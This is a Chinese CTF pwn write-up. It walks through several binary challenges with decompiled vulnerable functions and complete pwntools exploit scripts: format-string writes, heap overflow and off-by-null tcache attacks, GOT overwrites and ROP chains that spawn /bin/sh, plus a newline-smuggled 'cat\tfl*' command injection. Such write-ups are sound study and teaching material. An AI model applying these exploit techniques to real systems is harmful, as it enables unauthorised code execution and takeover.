一天的比赛太累了,才干了5个
这个题基本上弄了半天,有个小弯一直没绕过来,卡住了回头其实挺难的。本来不复杂。
先看题
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+4h] [rbp-Ch]
Init(argc, argv, envp);
puts("Have you heard about YANGSHEN?");
puts("YangShen said that he want to know your name.");
printf("Give me your name:");
getstring((__int64)name, 32);
printf("Hello %s\n", name);
for ( i = 3; i > 0; --i )
{
printf(
"Now, you have %d times to tell me what is your favourite food!\nwhat's your favourite food: ",
(unsigned int)i);
getstring((__int64)food, 32);
printf("You like ");
printf(food);
puts("!?\nI like it too!");
}
return 0;
}
题很短,都在一页上。有以3次格式化字符串。感觉3次确实有点少,想用one_gadget结果就走远了。这题可能还真不行,试了几个加上偏移都没成。
最后直接写ROP成功。
思路:
from pwn import *
#p = process('./pwn')
p = remote('node4.buuoj.cn', 25515)
context(arch='amd64', log_level='debug')
#libc = ELF('./libc.so.6')
libc = ELF('/home/kali/glibc/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#gdb.attach(p, "b*0x0000555555400b5b\nc")
p.sendlineafter(b"Give me your name:", b'A')
pay = b'%9$p,%11$p,%17$p,%37$p,%27$p,'
p.sendlineafter(b"what's your favourite food: ", pay)
p.recvuntil(b"You like ")
libc.address = int(p.recvuntil(b',', drop=True), 16) - 0x20830 #libc.sym['__libc_start_call_main'] -122
stack = int(p.recvuntil(b',', drop=True), 16) - 0xe0
'''
0x00007fffffffdea0│+0x0000: 0x00000003ffffdf90 ← $rsp
0x00007fffffffdea8│+0x0008: 0x60df366da3b0af00
0x00007fffffffdeb0│+0x0010: 0x0000555555400b60 → <__libc_csu_init+0> push r15 ← $rbp
0x00007fffffffdeb8│+0x0018: 0x00007ffff7820830 → <__libc_start_main+240> mov edi, eax #9
0x00007fffffffdec0│+0x0020: 0x0000000000000000
0x00007fffffffdec8│+0x0028: 0x00007fffffffdf98 → 0x00007fffffffe2df → 0x4f43006e77702f2e ("./pwn"?) #11 -> 37
0x00007fffffffded0│+0x0030: 0x0000000100000000
0x00007fffffffded8│+0x0038: 0x0000555555400a67 → push rbp
0x00007fffffffdee0│+0x0040: 0x0000000000000000
0x00007fffffffdee8│+0x0048: 0x4658139bb6e2ad27
0x00007fffffffdef0│+0x0050: 0x0000555555400820 → <_start+0> xor ebp, ebp
0x00007fffffffdef8│+0x0058: 0x00007fffffffdf90 → 0x0000000000000001 #17 -> 27
0x00007fffffffdf00│+0x0060: 0x0000000000000000
'''
pop_rdi = next(libc.search(asm('pop rdi;ret')))
bin_sh = next(libc.search(b'/bin/sh\x00'))
payload = flat(pop_rdi-0x10, bin_sh-0x10, libc.sym['system']-0x10)
#set i=100
v1 = (stack-20) & 0xffff
pay = f"%{v1}c%11$hn"
p.sendlineafter(b"what's your favourite food: ", pay.encode())
p.recvuntil(b"!?\n")
pay = f"%{3 + len(payload)*2}c%37$hn"
p.sendlineafter(b"what's your favourite food: ", pay.encode())
p.recvuntil(b"!?\n")
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
gadget = libc.address + one[0]
def set_v(off, v2, a1=17):
v1 = (stack+off) & 0xff
if v1==0:
pay = f"%{a1}$hhn"
else:
pay = f"%{v1}c%{a1}$hhn"
p.sendlineafter(b"what's your favourite food: ", pay.encode())
p.recvuntil(b"!?\n")
if v2 == 0:
pay = f"%37$hhn"
else:
pay = f"%{v2}c%37$hhn"
p.sendlineafter(b"what's your favourite food: ", pay.encode())
p.recvuntil(b"!?\n")
set_v(0x40, (stack+0xe0)&0xff, 11)
for i in range(len(payload)):
set_v(i, payload[i])
p.interactive()
这是个堆题,功能还挺全。add,free,show,edit都有,漏洞在edit上,在edit时可以输入长度,导致溢出。
unsigned __int64 edit()
{
unsigned int v1; // [rsp+8h] [rbp-18h]
unsigned int nbytes; // [rsp+Ch] [rbp-14h]
char nbytes_4; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("Index --->");
read(0, &nbytes_4, 4uLL);
v1 = atoi(&nbytes_4);
if ( !*(&chunk_ptr + v1) )
{
puts("Are you kididng me?");
exit(0);
}
puts("The length of your content --->");
read(0, &nbytes_4, 4uLL); // 有溢出
nbytes = atoi(&nbytes_4);
puts("Content --->");
read(0, *(&chunk_ptr + v1), nbytes);
puts("done");
return __readfsqword(0x28u) ^ v4;
}
由于题目PIE未开,所以这里有一条捷径。
先fastbin attack把块建到ptr上,然后就可以修改指针,直接指向got表show得到libc然后改free到system
from pwn import *
#p = process('./pwn')
p = remote('node4.buuoj.cn', 28943)
context(arch='amd64', log_level='debug')
#libc = ELF('./libc.so.6')
elf = ELF('./pwn')
libc = ELF('/home/kali/glibc/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
#gdb.attach(p, "b*0x0000555555400b5b\nc")
menu = b"5. exit\n"
def add(size, msg=b'A'):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"The length of your content --->\n", str(size).encode())
p.sendafter(b"Content --->\n", msg)
def edit(idx, msg):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"Index --->", str(idx).encode())
p.sendlineafter(b"The length of your content --->\n", str(len(msg)).encode())
p.sendafter(b"Content --->\n", msg)
def free(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Index --->", str(idx).encode())
def show(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"Index --->", str(idx).encode())
add(0x68)
add(0x68)
add(0x80)
add(0x68)
free(1)
free(0)
#show(0)
edit(0, p64(0x60209d)) #自用stderr 指针错位的7f在ptr上方建块,覆盖指针区
add(0x68)
add(0x68)
edit(5, b'A'*3 + flat(0,0,0x6020c8, elf.got['free'], 0x6020d8, b'/bin/sh\x00'))
#gdb.attach(p)
#pause()
'''
0x6020c0 : 0x00000000006020c8 0x0000000000602018
0x6020d0 : 0x00000000006020d8 0x0068732f6e69622f
0x6020e0 : 0x0000000000603010 0x00000000006020ad
'''
show(1)
p.recvuntil(b"Content: ")
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['free']
print(f"{ libc.address = :x}")
edit(1, p64(libc.sym['system']))
free(2)
p.interactive()
这题没有给libc但是给了Docker文件,文件里ubuntu 18.04 应该是2.27-3u1(这里有个坑,这题用的是3u1.6 从这个版本开始tcache就开始检查double free了)
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
Init();
while ( 1 )
{
while ( 1 )
{
View();
__isoc99_scanf("%d", &v3);
if ( v3 != 1 )
break;
add();
}
if ( v3 == 2 )
{
del();
}
else
{
if ( v3 == 3 )
exit(0);
puts("Invalid Choice");
}
}
}
从main看,只有add和free两个功能,free清理指针没有问题,问题在于add里写数据后在末位加0
int add()
{
unsigned int size; // [rsp+0h] [rbp-10h] BYREF
int size_4; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u); // 16次
if ( !add_t )
{
puts("You wanna fool me?");
exit(0);
}
for ( size_4 = 0; ; ++size_4 )
{
if ( size_4 > 9 )
return puts("You wanna fool me?");
if ( !chunk_list[size_4] )
break;
}
printf("Size:");
__isoc99_scanf("%d", &size);
if ( size > 0x800 )
exit(0);
chunk_list[size_4] = malloc(size);
if ( !chunk_list[size_4] )
exit(0);
printf("Data:");
pushinfo(chunk_list[size_4], size); // 固定off_by_null
chunk_size[size_4] = size;
--add_t;
return puts(":)");
}
__int64 __fastcall pushinfo(__int64 a1, unsigned int a2)
{
unsigned int v3; // [rsp+4h] [rbp-1Ch]
char buf; // [rsp+13h] [rbp-Dh] BYREF
unsigned int v5; // [rsp+14h] [rbp-Ch]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v3 = a2;
v6 = __readfsqword(0x28u);
v5 = a2;
while ( v3 )
{
read(0, &buf, 1uLL);
if ( buf == 10 )
break;
*(_BYTE *)(a1 + v5 - (unsigned __int64)v3--) = buf;
}
*(_BYTE *)(v5 + a1) = 0; //在长度后加0
return v5 - v3;
}
而且free有次数限制,这题比较黑,正常情况下off_by_null,需要7次
没有edit,unlink到_IO_2_1_stdout_ 修改值需要free再add比较浪费次数。
思路:
这几个块都需要错开,不然会发生double free这是1.6新加的检查。
from pwn import *
#p = process('./pwn')
p = remote('node4.buuoj.cn', 28393)
context(arch='amd64', log_level='debug')
elf = ELF('./pwn')
libc = ELF('/home/kali/glibc/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')
menu = b"choice:"
def add(size, msg=b'A\n'):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"Size:", str(size).encode())
p.sendafter(b"Data:", msg)
def free(idx):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"Index:", str(idx).encode())
def pwn():
add(0x410) #0
add(0x20) #1
add(0x20) #2
add(0x30) #3
add(0x4f0) #4
add(0x20, b'/bin/sh\x00\n') #5
free(0)
free(3)
add(0x38, b'\x00'*0x30 + p64(0x420+0x30+0x30+0x40)) #0
free(4)
free(1)
add(0x410) #1
add(0x10, p16(0xc760)+ b'\n') #3
add(0x20) #4
add(0x27, flat(0xfbad1887, 0, 0, 0)+ b'\x58\n') #6
libc.address = u64(p.recv(8)) - libc.sym['_IO_file_jumps']
print(f"{libc.address = :x}")
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
free(0)
add(0x50, b'\x00'*0x38 + p64(0x41) + p64(libc.sym['__free_hook'])+b'\n')
add(0x30)
add(0x30, flat(libc.sym['system'])+ b'\n')
free(5)
p.sendline(b'cat flag*')
p.interactive()
while True:
try:
pwn()
except:
p.close()
print('....')
这名字好长,但答案好短
这个主要是看代码的工夫。这是个虚拟机的题,add,edit可以输入数据到堆里,然后read_do把输入的数据翻译一下,再由vm执行。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
init_0();
puts("Hello, world!");
v4 = 0;
while ( 1 )
{
puts("Give me your choice: ");
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
m1add();
break;
case 2:
m2edit("%d", &v4);
break;
case 3:
read_do("%d", &v4);
break;
case 4:
vm("%d", &v4);
break;
case 5:
sub_19BE("%d", &v4);
return 0LL;
default:
printf("Error chooice");
break;
}
}
}
这里的功能只有8个:!i$#xy*@ 对应功能1-8,执行++ptr,--ptr,++*ptr,--*ptr,write_c,read_c,jz,jnz
有个坑点就是指针是word型的每次移动2字节,但输出和写入只有1个字节。
在跟进后发现这个ptr指向栈项。只要向前移4次就能写到ret的位置。
在函数列表里有system,但是并没有发现含system的函数,在代码里找,果然有一段被ida跳过了。
.text:00000000000019D8 ; =============== S U B R O U T I N E =======================================
.text:00000000000019D8
.text:00000000000019D8 ; Attributes: bp-based frame
.text:00000000000019D8
.text:00000000000019D8 sub_19D8 proc near
.text:00000000000019D8 ; __unwind {
.text:00000000000019D8 F3 0F 1E FA endbr64
.text:00000000000019DC 55 push rbp
.text:00000000000019DD 48 89 E5 mov rbp, rsp
.text:00000000000019E0 48 8D 05 39 07 00 00 lea rax, command ; "/bin/sh"
.text:00000000000019E7 48 89 C7 mov rdi, rax ; command
.text:00000000000019EA B8 00 00 00 00 mov eax, 0
.text:00000000000019EF E8 1C F7 FF FF call _system
.text:00000000000019EF
.text:00000000000019F4 90 nop
.text:00000000000019F5 5D pop rbp
.text:00000000000019F6 C3 retn
.text:00000000000019F6 ; } // starts at 19D8
生成函数头就能看到,它直接调用system(/bin/sh)就是个后门,而且后门离前门还不远。经测试19D8这个位置不能用,19E0这个位置能成功。数据就是向前移4次然后加57
from pwn import *
#p = process('./bf')
p = remote('139.155.140.235', 9999)
context(arch='amd64', log_level='debug')
def add(size):
p.sendlineafter(b"Give me your choice: ", b'1')
p.sendlineafter(b"size: ", str(size).encode())
def edit(msg):
p.sendlineafter(b"Give me your choice: ", b'2')
p.sendafter(b"text: ", msg.encode() + b'\x00')
def load():
p.sendlineafter(b"Give me your choice: ", b'3')
def run_vm():
p.sendlineafter(b"Give me your choice: ", b'4')
pay = 'i'*4 #向前移8字节
pay+= '$'*57 #ret尾自加57次
add(0x200)
edit(pay)
load()
run_vm()
p.interactive()
主菜单有3个功能,buy写一块数据,因为只有2块钱,所以只能写1次就没钱了。clear将刚才写的清0,gift有个printf但只能写8字节,实际长度是5,后边会点用canary,也就是再也回不去了,因为退出里会报错。gift可以用两次。
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-14h]
char v4[2]; // [rsp+11h] [rbp-Fh] BYREF
char format[5]; // [rsp+13h] [rbp-Dh] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
v3 = 2;
init(argc, argv, envp);
puts("This is a candy management.");
puts("Version --3.1");
while ( 1 )
{
while ( 1 )
{
view();
getstring(v4, 2LL);
if ( v4[0] != 'b' )
break;
buy_canary();
}
if ( v4[0] == 'e' )
{
eat_canary(); // clear
}
else
{
if ( v4[0] != 'g' )
{
puts("Have a nice day and look forward to your next visit!");
exit(0);
}
if ( v3 )
{
puts("Give me your name: ");
getstring(format, 8LL);
printf("booooo!!!!\nyou have received a gift:");
printf(format);
puts(&s);
--v3;
}
else
{
puts("you have already received the gift!");
}
}
}
}
初一看似乎无法完成,其实这个漏洞比较隐蔽,在buy的时候指针可以前溢出。适当调整可以写到got表。指针每次移动19字符,所以得找到合适的位置写才行。这里-10的时候会写到printf,这个函数被改后虽然也会报错,但不影响运行。
思路:
from pwn import *
#p = process('./pwn')
p = remote('139.155.132.59', 9999)
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./pwn')
menu = b"option: "
def buy(idx, msg):
p.sendlineafter(menu, b'b')
p.sendlineafter(b"Which one you want to bye: ", b't')
p.sendlineafter(b": ", str(idx).encode())
p.sendafter(b": ", msg)
def clear():
p.sendlineafter(menu, b'e')
def gift(msg):
p.sendlineafter(menu, b'g')
p.sendafter(b"Give me your name: ", msg.encode())
p.recvuntil(b"booooo!!!!\nyou have received a gift:")
gift("%11$p\n")
libc.address = int(p.recvline(), 16) - 0x29d90
print(f"{libc.address = :x}")
buy(-10, b'\x00'*6 + p64(libc.sym['system'])+b'\n') #将got.printf 改为system
p.sendline(b'g')
p.sendafter(b"Give me your name: ", b'/bin/sh\x00') #运行printf
p.interactive()
后两个拿血的题都如此简单。还有8道没有头绪。等明天搜搜。
看了官方WP,复现两个作了但没作出来的,其它的过于复杂,基本上也就看不懂了。
有add,show,door三个功能,door仅能用1次由0x404060控制,add将块指针写到4040b0上
思路是先把got.malloc改为read_n()这样每次add可以往一个地址里写一数据,不过由于read_n只能输入10个数字,不能向栈和libc写,然后写个got表地址show得到libc,由于只能用后门写ret所以后边每次要改一下404060再执行后门将返回地址改为rop
由于写入次数限制只能写3次,用pop_rdi_rbp来调栈对齐
from pwn import *
from base64 import *
p = process('./noka')
#p = remote('42.193.19.96', 9999)
context(arch='amd64', log_level='debug')
elf = ELF('./noka')
libc = ELF('./libc.so.6')
def add(addr, msg):
p.sendlineafter(b"1. add\n2. show \n> ", b'1')
p.sendlineafter(b"size: ", b'10') #nouse malloc->read_n()
p.send(str(addr).encode())
p.sendlineafter(b"text: ", msg)
def door(v1, v2):
p.sendlineafter(b"1. add\n2. show \n> ", b'3')
p.sendlineafter(b"Break Point: ", str(v1).encode())
p.sendlineafter(b"Break Value: ", str(v2).encode())
def show():
p.sendlineafter(b"1. add\n2. show \n> ", b'2')
p.recvuntil(b'text: ')
door(elf.got['malloc'], 0x401254) #修改malloc->read_int() 每次add变为向4040b0写入一个地址
add(0x4040b0, p64(elf.got['read']))
show()
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - libc.sym['read']
print(f"{ libc.address = :x}")
#gdb.attach(p, "b*0x401453\nc")
add(0x4040b0, p64(libc.sym['_environ']))
show()
stack = u64(p.recv(6).ljust(8, b'\x00')) - 0x120
print(f"{ stack = :x}")
pop_rdi = libc.address + 0x000000000002a745 # pop rdi ; pop rbp ; ret
bin_sh = next(libc.search(b'/bin/sh\x00'))
#add中的read_n()只读入10个字符,写不下64位地址,修改后门标记用后门写ROP
add(0x404060, b'A')
door(stack, pop_rdi)
add(0x404060, b'A')
door(stack+8, bin_sh)
add(0x404060, b'A')
door(stack+24, libc.sym['system'])
p.interactive()
这个原来如此简单,先是绕过文件名检查,虽然有好多绕过方法,这里可以不用,因为有snprintf有截断只要用./凑够长后边跟个一定存在的文件名即可比如..flag 或者..//.bin/sh
登录时只需要输入:'\ncat\tfl*\n 用\n来执行\t绕过空格,或者直接在这里输入'\n然后手工输入
from pwn import *
p = process('./pwn_7')
#p = remote('node4.buuoj.cn', 26345)
context(arch='amd64', log_level='debug')
p.sendlineafter(b"Your choice >> ", b'1')
p.sendlineafter(b"Please input the key of admin :", b'../../../../../..//bin/sh')
p.sendlineafter(b"Your choice >> ", b'2')
pay =
p.sendlineafter(b"Please input the username to add : ", b"'\ncat\tfl*") #在这里直接'\ncat\tfl*\n
p.interactive()
#..//flag